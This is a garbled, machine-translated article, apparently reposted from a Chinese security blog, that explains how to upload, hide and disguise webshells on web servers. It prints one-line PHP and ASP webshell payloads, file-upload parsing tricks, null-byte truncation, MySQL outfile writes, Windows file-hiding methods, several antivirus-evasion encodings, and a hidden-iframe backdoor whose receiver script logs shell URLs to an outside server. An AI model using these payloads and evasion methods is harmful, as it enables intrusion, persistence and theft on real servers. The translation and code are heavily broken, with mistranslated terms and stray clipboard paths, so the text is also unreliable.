1. webshell とは
webshell の紹介
webshell は、名前が示すように、web は Web サーバーを指し、シェルはスクリプト言語で書かれたスクリプト プログラムです。Webshell は、Web 用の管理ツールです。 Web を制御できる サーバーを操作する権限。Webadmin とも呼ばれます。 Webshell は通常、Web サイト管理者が Web サイト管理やサーバー管理などに使用します。ただし、WebShell は比較的強力であるため、ファイルのアップロードとダウンロード、データベースの表示、さらにはサーバー上で一部のシステム関連コマンド (ユーザーの作成など) を呼び出すこともできます。 、ファイルの変更や削除など)、ハッカーは通常、いくつかのアップロード方法を使用して、作成した Web シェルを Web サーバー ページのディレクトリにアップロードし、ページ アクセスを通じて侵入するか、挿入してローカル コンピューターに接続します。一部の関連ツールは、サーバー上で直接侵入操作を実行します。
Webシェルの分類
Webシェルは、PHPスクリプト型トロイの木馬、ASPスクリプト型トロイの木馬、.NETベースのスクリプト型トロイの木馬、およびスクリプトに基づくJSPスクリプト型トロイの木馬に分類できます。海外ではPythonスクリプト言語で書かれた動的Webページもあり、もちろんそれに関連するWebシェルもあります。
機能に応じて、Xiaoma は通常、次のような 1 文のトロイの木馬を指します。通常、この文は次のように記述されます。ドキュメント、ファイルの順に名前が xx.asp に変更されます。次に、それをサーバーに送信します。ここで、 eval メソッドは request("pass") をコード実行に変換します。 request 関数の機能は、外部ファイルを適用することです。これは、一文のトロイの木馬のクライアント構成に相当します。サーバー構成 (つまり、ローカル構成):
Default
(トロイの木馬を生成するコンテンツを追加します)
<入力タイプ = 送信値 = 送信 9
10
1112
13
14
15
16
17
18
<
フォーム action
= http
://host path/TEXT.asp method=post>
value cols=
120 行 =10幅= 45 >
set lP=server . createObject ( "Adodb.Stream " ) //ストリーム オブジェクトを作成します lP . Open
//Open LP.タイプ = 2 //テキストモードの場合
lP.CharSet="gb2312" //フォント標準
lP。 テキストを書く リクエスト ( "新しい値" )
lP.SaveToFile server.mappath("newmm.asp"),2//ファイルを上書きして、トロイの木馬のコンテンツを newmm.asp に書き込みます。2 は上書きされるメソッドです
lP. Close//オブジェクトを閉じる
lP=何も//オブジェクトを解放する
response.redirect"newmm.asp"// newmm.asp
< ;/テキストエリア> <
textarea name=newvalue cols=120rows=10width=45> ) <
/textarea> <
BR > <
センター> ; <
br> <
入力タイプ=送信値=送信>
ここで、トロイの木馬はフォームを送信することで送信されます。具体的な方法は、オブジェクトIPを定義し、その内容をテキストモードでnewvalueに書き込み(newvalueの内容はtextareaで定義されます)、上書きするように書き込みます。このメソッドは ASP ファイルを生成し、このスクリプトを実行します。クライアントの値はフォームの名前を表し、サーバー (ローカル マシン) の送信後のフォーム名と同じである必要があるため、ここでの値はパスワードなどに相当する任意の文字にすることができます。 , しかし、この「パスワード」はクリアテキストであり、傍受される可能性があります。 PHP の 1 文の原則は上記の原則と似ています。つまり、言語の違いにより構文が異なります。これが基本的にポニーの仕組みです。
Da Ma の動作モードは、クライアントとサーバーの間に違いはありません。一部のスクリプト専門家は、サーバー側の 1 文のトロイの木馬を直接統合し、アップロードの脆弱性を利用して Da Ma をアップロードし、その後、大きなファイルをコピーしました。 horse。horse の URL アドレスに直接アクセスして、ページ上の Web サーバーに侵入作業を実行します。ただし、Da Ma には多くの機能があるため、ファイルのアップロードに厳しい制限が設けられている Web サイトもあり、そのサイズは Web サイトのアップロード制限を超える可能性があります。ただし、Da Ma のサイズは制御できます。コードを何度もアップロードしたり、文字化けしたファイルにコードを挿入したりする必要がありますが、Xiaoma の操作はより面倒です。最初に Xiaoma をアップロードして Web シェルを取得し、次に Xiaoma をアップロードして Xiaoma の接続を介してサーバーを取得することができます。
2. WebShell のアップロード方法
1. アップロード解析の脆弱性
現在、Windows 側の主流は iis であり、Linux 側の主流はさまざまです。 nginxです。これらのサービスは Web サーバーの構築に非常に役立ちますが、サーバーに隠れた危険ももたらします。これらのサーバーには、ハッカーによって簡単に悪用される可能性のある脆弱性がいくつかあります。
(1)iis ディレクトリ解析の脆弱性
例: /xx.asp/xx.jpg
JPG ファイルがアップロードされても、ファイルが xx.asp フォルダーにある場合、iis は画像ファイルを次のように扱います。 xx.asp 分析によると、この脆弱性は iis5.x/6.0 バージョンに存在します。
(2) ファイル解析の脆弱性 例: xx.asp;.jpg。 Web ページがアップロードされると、jpg ファイルは認識されますが、iis はアップロード後にそのファイルを解析せず、後続の文字もファイルを asp ファイルに解析します。この脆弱性は iis5.x/6.0 バージョンに存在します。
(3) ファイル名解析例:xx.cer/xx.cdx/xx.asa。 iis6.0では、cerファイル、cdxファイル、asaファイルは実行ファイルとして扱われ、中のaspコードも実行されます。 (asa ファイルは ASP 固有の構成ファイルであり、cer は証明書ファイルです)。
(4)fast-CGI解析の脆弱性Webサーバーがfast-CGIをオンにすると、画像xx.jpgをアップロードします。内容は次のとおりです:
Default
1
fputs(fopen('shell.php') 、「わ」 ),'eval($_POST[shell])?>');?>
ここで使っているfputはshell.phpファイルを作成して文章を書きます。パス xx.jpg/.php にアクセスすると、このパスに 1 文のトロイの木馬 Shell.php が生成されます。この脆弱性は、IIS 7.0/7.5 および 8.03 より前の Nginx バージョンに存在します。ロケール: PHP、prel、Bourne Shell、C およびその他の言語。
*注: fast-CGI は、CGI のアップグレードされたバージョンです。CGI は、サーバー上で人間とコンピューターの対話を提供するインターフェイスを指します。 CGI では実行のたびにプロセスを fork して起動する必要がありますが、fast-CGI は起動後必ず実行されるため、リクエストごとにプロセスを fork する必要がありません。通常の CGI よりもメモリの使用量が少なくなります。
(5) Apache の解析の脆弱性 Apache の解析方法は、解析が成功しない場合、1 つ左に移動する必要があります。ただし、バックグラウンドでのアップロードでは、通常、アップロードされたファイルの右端のサフィックスが参照されます。ファイルなので、これによれば、馬に xx.php.rar という名前を付けることができます。Apache は rar を解析できないため、php として解析しますが、バックグラウンドのアップロード ポイントは rar として解析するため、アップロード ファイルのサフィックス制限を回避できます
2. アップロードを切り詰めます
たとえば、画像をアップロードするときは、1.asp .jpg (asp の後にスペースがあります) という名前を付けます。アップロードするときは、NC または burpsuite を使用してフォームをキャプチャし、その後に %00 を追加します。アップロード名 asp (burpsuite では HEX 値を直接編集できます。スペースの HEX 値は 20 です。HEX が 00 の場合は切り捨てを意味し、20 は切り捨てを意味します)。 、これは、スクリプト内の JPG 検証ステートメントを無視して、ASP を直接アップロードすることを意味します。
3. バックエンドデータベースのバックアップ
一部の企業のバックエンド管理システムには、データベースをバックアップする機能があります (たとえば、Southern CMS にはデータベースをバックアップする機能があります)。トロイの木馬の文を含む画像をアップロードするか、画像を jpg 形式に変更し、データベース バックアップ機能を使用して画像を ASP やスクリプト ステートメント形式に解析できるその他のコンテンツにバックアップすると、トロイの木馬を渡すことができます。 Web にアクセスして実行しますが、この方法は非常に古いもので、現在ではほとんどの cms がこのバックアップ機能をキャンセルまたは無効にしています。
4. データベースステートメントを使用してアップロードします
(1) mysql データベースを outfile にアップロードします
このメソッドの前提条件は、Web サイトに対応する注入ポイントがあり、現在のユーザーがアップロード権限を持っている必要があり、現在の Web ページのサーバー下の絶対パス。その方法は、共同クエリを使用して 1 文のトロイの木馬を Web サイト下の PHP ファイルにインポートし、サーバーを使用して Web サイトに接続するというものです。しかし、上記の方法は条件が過酷すぎるため、遭遇することはほとんどありません。
(2) トロイの木馬を書く新しいテーブルを作成します 一部のオープンソース cms または自作の Web シェルにはデータベース管理関数があります。まず、テーブル作成シェル (コードテキスト) を使用します。シェルという名前 このテーブルにはコードというリストが含まれており、タイプはテキストです。次に、insert into Shell(code)values('one Sentence horse') を使用します。ここでは、シェル テーブルの code 列に 1 文の馬の値が割り当てられ、カスタム バックアップを通じてテーブルを x.php としてバックアップします。 x は php に解析されてから実行されます。これは x.php ではありません。Web サーバーが異なればサービス プログラムも異なり、他の方法が使用される場合もあります。
(3)phpMyadmin設定エラーphpMyadminはWebサイトのデータベースを管理するためのツールで、config.inc.phpがその設定ファイルとなっているファイルを閲覧すると、$cfg['Servers'][$i]の値が表示されます。 ]['auth_type'] パラメータの設定が設定されていません (デフォルトは config)。これは、データベースにログインするときに対応する検証が行われないことを意味します。データベースに直接接続できます。Mysql の一部のバージョンでは、デフォルトのログインは root ユーザー (つまり管理者) としてログインするため、ログインには最大の権限が与えられます。ただし、通常、root はローカルでしかログインできないため、リモート ログイン ユーザーを作成する必要があります。リモート ログイン ユーザーとしてログインした後、テーブルを作成し、そこに 1 文のトロイの木馬を書き込みます。
3. WebShellの「セキュリティ」
1. WebShellの非表示について
WebShellをアップロードする際には、WebShellを非表示にする必要があります。 Web シェルを非表示にする最初の目的は、Web サイト管理者が Web シェルを発見して削除するのを防ぐことです。2 番目の目的は、他のハッカーがこのファイルを発見して使用するのを防ぐことです。
(1) マレーシアの隠れた
①アンデッドゾンビ
Windows システムでは、これらの名前をフォルダーの名前として使用することを許可していません: aux|prn|con|nul|com2 |com3。 |com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。 ただし、これらは、次のような Windows のコピー コマンドを使用して作成できます:
Default
c:>copy 3.asp \.C:aux.asp
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image020.png
file:///C:UsersSAKAIY~1 DataLocalTempmsohtmlclip11clip_image022.jpgがCドライブに作成されました補助ASP。このファイルはグラフィカル インターフェイスでは削除できません。
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image023.png削除するには、delコマンドを使用する必要があります。
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image024.png削除後にプロンプトは表示されませんが、ファイルは確かに消えています。
もちろん、この方法は、グラフィカル インターフェイスからは削除できない Web シェルを作成するために使用できますが、Web ページのルート ディレクトリに直接配置した場合でも、経験豊富なユーザーが見ると削除されてしまいます。ネットワーク管理者。
②clsid hidden
Windows のすべてのプログラムには clsid があります。フォルダーに x.{program clsid} という名前を付けた場合、次の 2 つのコマンドを入力します:
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image026。作成file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image027.png
クリックしてコントロールパネルに入りますが、実際にはファイルはまだフォルダーであり、その中にマレーシアがまだ存在しており、次のような名前を作成しますたとえば、ごみ箱フォルダを入力して、ごみ箱 CLSID を持つフォルダを作成し、その中に予約語をコピーすることもできます。
。
デフォルト
属性 +h +s +r +d/s /d
1
属性
+ h
+s +r+d/s/d
ファイルのプロパティを変更する一般に、Windows はデフォルトでは隠しファイルを表示せず、ごみ箱フォルダーが自動的に作成されるため、不滅の Web シェルをサーバーに隠すことができます。
③ドライブ隠蔽技術
原理は、Windows ファイルシステムでは、フォルダーが開かれると、システムが IRP_MJ_DIRECTORY_CONTROL 関数を送信し、そのフォルダーの下のサブフォルダーを横断するためのバッファーを割り当てることができます。バッファに保存されているファイル名を検索し、ファイル名が一致する場合、現在のフォルダーまたはファイルはバイパスされます。私の理解によれば、コードのオフセットが追加されます。ターゲット ファイルをクエリするときに、トラバースされたポインタに基づいてファイルを検索し、ターゲット フォルダをスキャンせずに直接スキップします。
この技術の実装については、インターネット上に多くの C ソース コードがありますが、ヘッダー ファイルのサポートやシステムのサポート (システムによってファイル システムが異なるため) のため、操作は簡単であることがわかりました。インターネット上 File Locker プログラムを Web サーバーにインストールし、ターゲット ファイルにアクセス許可を設定する必要があります。
デフォルト
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
1
ファイル
:///C:ユーザーSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
権限設定には、読み取り可能、書き込み可能、削除可能、表示可能が含まれます。
デフォルト
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg
1
ファイル:///C: UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg
上の図では、トラバーサルが直接バイパスされているため、絶対パスにアクセスできることがわかります。私の理解は次のとおりです。
デフォルト
c:WINDOWSxlkfs.dat
c:WINDOWSxlkfs.dll
c:WINDOWSxlkfs.ini
c:WINDOWSsystem32driversxlkfs.sys WINDOWS
xlkfs
.dat
WINDOWS
xlkfs .dll c : WIND OWS
xlkfs.ini c : WINDOWS
system32ドライバーxlkfs.sys
これらの 4 つのファイルは、隠しファイルにアクセスするためのトラバーサル クエリを置き換えます。絶対パスを入力しても絶対パス クエリは適用されませんが、上記の 4 つのファイルを通じてクエリを実行します。これは、作成するのと同等です。隠しファイル用の別のドライバー。
管理者に発見されないように、Easy FileLocker プログラムは削除できますが、上記 4 つのファイルは削除できません。プログラムを削除した後も、絶対パスを入力することでアクセスでき、バックドアを非表示にする機能が実現します ④レジストリの非表示 レジストリパス: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorer\AdvancedFolderHiddenSHOWALL このパスの下にCheckedValueキーがありますので、これを 0 に変更します。 CheckValue キーがない場合は、直接作成して値 0 を割り当てます。これにより、フォルダー オプションで [すべてのファイルを表示] がオンになっている場合でも、作成された隠しファイルは完全に非表示になります。は表示されません。 (2) ワンセンテンス型トロイの木馬の隠蔽 ①ヘッダーファイルのインクルード隠蔽
ウェブ上の一部のスクリプトファイルには、このページにアクセスする際に、このインクルード方法を使用してワンセンテンスファイルをインクルードすることができます。これらの文は直接呼び出されます。 asp にはステートメント が含まれており、パスを直接入力します。ファイル パスは Web サーバー上のパスです。
Webmaster Stopを使用して、NTFSストリームポニーの文を画像に書き込むと、パスに「:」が表示されなくなり、画像が表示されなくなります。
Web サーバー上の ASP ファイルに移動し、ファイルの先頭に include ステートメント php include ステートメント: Default
1
include ($include
);
?>
$include ここで、次のような外部パスを指定できます:
http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php
This aaa 1.php の内容は
Default
は包含を意味します。 bbb は外部サーバーです (このサーバーが PHP をサポートできない場合)。そうしないと、hehe.php (つまり、一文の馬) は bbb サーバー上で実行されますが、aaa は実行されません。
②設定ファイルの隠し文(PHP)
PHP Webシェルを取得したら、php.iniを使用してファイルを隠し、設定ファイルを編集できます。その機能の1つは、特定のファイルの内容を任意のヘッダーに追加することです。およびフッター:
auto_prepend_file =hehe.php
次に、
include_path = “E:PHPnow-1.5.6htdocs;”を見てください
この構成情報は、ヘッダーとフッターが配置されているコレクションの場所を示しています。ルールは「path1;path2」です。これは、path1 のフォルダーにあるヘッダー ファイルとフッター ファイルを path 内のファイルに追加することを意味します。これは、ここにルート パスを示す「.」があり、これを追加するのと同じです。そこにアクセスして、hehe.asp ファイルに文を書きます。php を介してヘッダー関数を追加し、その文を Web サイトのトップページに書き込むことができます。
③404 Pony
404 Pony はアクセスすると存在しない404ページが表示されますが、実際にはトロイの木馬コードが実行されています。 通常、Shiftキーを5回押すことで呼び出すことができます。
4. 強制終了を避けるための WebShell についての一文
1. 検出を回避するための構築方法 (PHP)
一般的な検出プログラムは、「_POST」、「system」、「call_user_func_array」などの文字をフィルタリングします。基本原理は、PHP の各文字がバイナリ値に対応することです。XOR メソッドを使用して、馬の 1 つの文字を 2 つの文字の XOR 値で置き換えることができます。
たとえば、コードのように
Default
@ +$ _ ++
$__=("/"^"`");
$__= ("|"^"/")" 「;;
すると、構造と文は
Default
;?php
@
$_
++;
("#"^
"|").("."^"~" ) . ( "/" ^ "`"
)。 ("|"^"/").("{"^ "/"); // $__ の値は _POST です @${$__ } [ ! $_ ] ( $ { $__ } [ $_ ] ) ; ?> ;
//結果は @$_POST[0 ]($POST[ 1])!$_は1の反対を表します。言語では、1は真、その逆は0(偽)を表しますしかし、このバイパス方法は、考えてみればかなり弱いです。 2文字であっても慎重に バイナリ値は "~").("/"^"`").("|"^"/").("{"^"/") " ^「〜」 ) . ( "/" ^ "`" ) . ( "|" ^ "/" ) . ( "{" ^ "/" )
のバイナリ値
は 2 回検出されます。 16 進コードの値は Kill のままです。
2. 正規表現の置換方法(PHP)phpには正規表現の置換を実現できる関数preg_replace()があります。置換を使用して検出システムをバイパスするには、PHP スクリプト言語の関数機能も必要です。関数が呼び出されるときに、関数の仮パラメータに割り当てられた値にコマンドが含まれている場合、そのコマンドが実行されます。
デフォルト(.+?)/ies",'funfunc("1")', $_POST["cmd"]);
?>1234 関数 楽しい ( $str ) { } echopreg_replace ( "/(.+?) /ies" , 'funfunc("1")' , $_POST [
"cmd"]
) ;
?>
上記のコードは、まず空の関数を作成し、次に preg_replace 関数を使用してフォーム内の
を置き換えます。 cmd を funfunc で置き換え、投稿フォームの値は
{${phpinfo()}} (もちろんここでは phpinfo() です)他のコマンドに置き換えることもできます)、置き換えると、
funfunc({${phpinfo()}})になります
${}は{}の内容を解析できるので、ここのphpinfoも実行できますスムーズに。
3. インスタント生成方法(PHP)
ヘッダーファイルインクルードを使用する場合、インクルードされたヘッダーファイルphpをスキャナーで簡単にスキャンすることで、phpのような文章が書かれたファイルを作成できます。 。馬にアクセスする前に馬を生成しますが、この機能は機密性が高く、簡単に強制終了される可能性があります。
4. 回避方法 (ASP)
一部の ASP サーバーは一行スパムを防ぐために <%,%> をフィルタリングするため、以下を使用できます:
< ;script language =VBScriptrunat=server>リクエストの実行("cmd")
1
<script language=
VBScriptrunat =サーバー
> ; request("cmd")</Script>を実行
機能は同じで、形を変えるだけです。 特定のスクリプト言語を避ける: aspx の一文
Default
1
这里使用C#语言写一句话马。
5.拆分法(asp)
将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
还有拆分法加强版:
Default
<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
<%IfRequest("MH")<>""ThenExecute(Request("MH"))%>
<%ifrequest("MH")<>""thensession("MH")=request("MH"):endif:ifsession("MH")<>""thenexecutesession("MH")%>
以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。
6.乱码变形(ANSI->Unicode加密)
Default
<%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”
1
<%evalrequest("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”
Default
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
1
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为
Default
<%eval (eval(request("brute"))%>
1
<%eval(eval(request("brute"))%>
7. マレーシアのウイルス対策保護
(1) Base4code エンコード
マレーシアのウイルス対策保護は、マレーシア語コードを圧縮し、圧縮後に Base4 暗号化アルゴリズムを実行して、マレーシア語コードを追加することで圧縮できます。コードを最後に追加します
Default
@eval(gzinflate(base64_decode($code)));
1
@eval (gzinflate (base64_decode($code)));
スクリプトを実行できます。このうち $code 変数は、base4 コードを格納するために使用され、実行時に最初に gzinflate によって解凍され、eval で実行されます。実際、これを完全に強制終了から保護することはできません。base4code と eval は依然として署名リストに含まれており、スキャナーを通過するときに強制終了されると考えられます。
(2) ROT13エンコード(php)
str_rot13はphpがエンコードするために使用する関数です。たとえば、スクリプト コードをエンコードして署名検出をバイパスするために使用できます。
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image031.png
画像の strrev 関数は、署名の検出を回避するために、文字を特別に「.」記号で区切って使用しています。 。
写真の3つのstr_rot13で暗号化された文字は、順にgzinflate、str_rot13、base64_decodeとなっており、三重暗号化に相当し、gzinflateとbase64_decodeの2つの機能コードも回避されます。しかし、str_rot13 を避けることはできません。一部のウイルス対策ソフトウェアも機能コードとして str_rot13 を使用する可能性があります。
ROT13 は回転 13 になります。これは、アルファベットでの現在の文字の位置の値から 13 を引いた値が暗号化されることを意味します。 2回暗号化すると元の値に戻ります。ただし、アルゴリズムが固定されているため、暗号化強度は強くありません。そしてクラッキングの方法は非常に簡単で、片面を暗号化するだけです。
(3) その他のエンコーディング
一般に、ウイルス対策ソフトウェアやスキャナーは、マレーシア馬や小型馬のウイルス対策処理を行う場合、一言で言えば php または asp スクリプトを使用してウイルスの有無を判断します。通常、暗号化関数はスキャナー (base4、rot13 など) をバイパスするために使用できますが、独自の暗号化アルゴリズムを作成し、独自の暗号化アルゴリズムを使用してスクリプト コードを暗号化し、一部の機能コードをバイパスすることもできると思います。シーザー暗号やシフト暗号などの暗号化方法のアイデアを使用し、暗号化アルゴリズムを記述してからスクリプト コードを暗号化すると、base4 や rot3 などの機能コードが消えたり、手間をかけずに自作の暗号化を直接使用したりできます。このアルゴリズムは署名を暗号化し、使用時に復号化します。
DES や RSA などのキー暗号化アルゴリズムも使用できます。通常、マレーシアにはパスワード ログイン ボックスがあり、ログイン スクリプトのパスワードを復号キーにリンクでき、正しいパスワードを入力した場合にのみ解析できます。 . 一方で、スキャナーやウイルス対策ソフトウェアによる検出を回避するためであり、他方で、このマレーシアを他人が入手したとしても、解読してソースコードを見ることができないようにするためです。
5. WebShell のバックドアについて
一般に、オンラインでダウンロードしたマレーシア人には多かれ少なかれバックドアが存在し、これらのバックドアは私たちがダウンロードした Web サイトが他人に持ち去られることに直接つながるため、オンラインでダウンロードしたマレーシア人はまずバックドアを確認する必要があります。
たとえば、ユニバーサルパスワードは次のとおりです:
Default
end function
if session("hehe")<>ユーザーパスthen
ifrequest.form("pass")<>"" then
if request.form("pass")=userpassor request.form("pass")="1111111" then
session("hehe")=ユーザーパス
応答.リダイレクト URL
else
関数
ifセッション(「へへ」)「
ならリクエスト。フォーム(」) pass") = userpassor リクエスト . フォーム ( "パス" ) = "1111111" hThen
セッション ( "へへ" ) UserPassSS レスポンス.リダイレクトurl 他
こちら
デフォルト
request.form("pass")=userpass
1
リクエスト.フォーム ("pass")=userpass
は、入力されたパスの値がuserpassと等しいことを意味します。検証は成功しましたが、後で
Default
orrequest.from("pass")="1111111"
1
またはリクエスト . from(“pass”)=”1111111”
は、入力されたパス値が111であることを意味します111 1. にログインすることもできます。マレーシア。もちろん、この場所はそれほど単純ではありません。オリジナルの作成者は userpass 値を 2 つに割り当て、1 つを追加できます。
ユーザーパス変更のトリガー条件は、ログイン時にトリガーされるため (たとえば、ログインが失敗した場合、ユーザーパス値の更新がトリガーされます)、サフィックスを追加できます。
さらに、トリガー条件コードと検証コードは離れているため、現時点ではマレーシアのコードを 1 行ずつ解析する必要があります。
次に、フレームを使用して馬に乗ります:
Default
1
<iframe src=バックドアアドレス幅=0高さ=0>/iframe >
ここで、リンクアドレスの幅と高さを0に設定すると、ページが非表示になります。内部の「バックドア アドレス」は独自のスクリプト レシーバーを指し、最後に受信スクリプトを自分で構築したパブリック ネットワーク サーバーに配置します。受信スクリプトは次のとおりです。 %url=Request.ServerVariables("HTTP_Referer")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
ファイル.writelineurl
ファイル.閉じる
ファイル=何も設定しない
fs=何も設定しない
%>
<%
url=Request . ServerVariables
("HTTP_Referer"
)
set
fs=
server.
CreateObject (
"Scripting.FileSystemObject")
setfile=fs.OpenTextFile ( server ) . マップパス ( 「へへ.txt」 " ) 、 8
、True) ファイル .
writelineurl file.closeset file = 何も set fs = 何も
%>
where
Default
url=Request.ServerVariables("HTTP_Referer")
1
url=リクエスト.ServerVariables("HTTP_Referer")
は、コンテンツに対して要求された文字、つまりマレーシアのURLアドレスを表します。そして URL アドレスディレクトリの現在の hehe.txt に保存されます。
この種のバックドアを提案するには、まずマレーシアの 2 番目のタイプのパスワード認証であるマスター パスワードを破棄する必要があります。該当する機能コードを削除し、ASP Malaysiaのページにwidth=0 height=0などの隠しURLがないか確認し、見つけて削除してください。
上記は、Webshell の実装と隠された探索についての側面を含めて紹介したもので、PHP チュートリアルに興味のある友人に役立つことを願っています。
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
著者別の最新記事
2024-10-22 09:46:29
2024-10-13 13:53:41
2024-10-12 12:15:51
2024-10-11 22:47:31
2024-10-11 19:36:51
2024-10-11 15:50:41
2024-10-11 15:07:41
2024-10-11 14:21:21
2024-10-11 12:59:11
2024-10-11 12:17:31